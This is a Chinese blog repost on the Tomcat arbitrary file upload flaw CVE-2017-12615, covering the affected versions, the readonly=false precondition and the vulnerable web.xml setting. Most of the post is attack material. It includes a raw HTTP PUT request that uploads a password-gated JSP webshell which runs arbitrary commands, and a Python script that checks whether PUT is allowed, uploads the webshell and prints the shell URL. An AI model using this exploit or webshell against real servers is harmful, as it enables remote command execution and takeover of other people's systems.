zoukankan      html  css  js  c++  java
  • Tomcat任意文件上传漏洞CVE-2017-12615

    文章来源:https://blog.csdn.net/qq1124794084/article/details/78044756

    漏洞影响的tomcat版本为tomcat7.0.0-7.0.81版本

    CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

    (另一个类似的漏洞CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响)

    以前遇到过很多未禁用不安全的HTTP方法的漏洞,但是都不知道怎么深入利用,终于这次遇到了。

    修改Tomcat 7.0/conf/web.xml文件。 添加readonly属性,使得readonly=false。(默认的readonly不为false)
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    使用burp发送put请求上传一句话木马,内容如下:

     

    PUT /123.jsp/ HTTP/1.1
    Host: 192.168.23.209:8080
    User-Agent:  JNTASS
    DNT:1
    Connection: close
    Content-Length: 664
     
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

     

     

    python脚本

    #! -*- coding:utf-8 -*-
    import httplib
    import sys
    import time
    body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
    try:
        conn = httplib.HTTPConnection(sys.argv[1])
        conn.request(method='OPTIONS', url='/ffffzz')
        headers = dict(conn.getresponse().getheaders())
        if 'allow' in headers and
           headers['allow'].find('PUT') > 0 :
            conn.close()
            conn = httplib.HTTPConnection(sys.argv[1])
            url = "/" + str(int(time.time()))+'.jsp/'
            #url = "/" + str(int(time.time()))+'.jsp::$DATA'
            conn.request( method='PUT', url= url, body=body)
            res = conn.getresponse()
            if res.status  == 201 :
                #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
                print 'shell:', 'http://' + sys.argv[1] + url[:-1]
            elif res.status == 204 :
                print 'file exists'
            else:
                print 'error'
            conn.close()
        else:
            print 'Server not vulnerable'
            
    except Exception,e:
        print 'Error:', e

     

  • 相关阅读:
    <O(n),O(1)>的LCA
    hdu6110
    ACM模板
    prufer编码
    UvaLive6893_The_Big_Painting
    HDU5669
    Codeforces786B
    二分图部分总结
    Git简介和Windows下安装步骤
    笔记本电脑插入耳机后无法使用解决办法
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9366170.html
Copyright © 2011-2022 走看看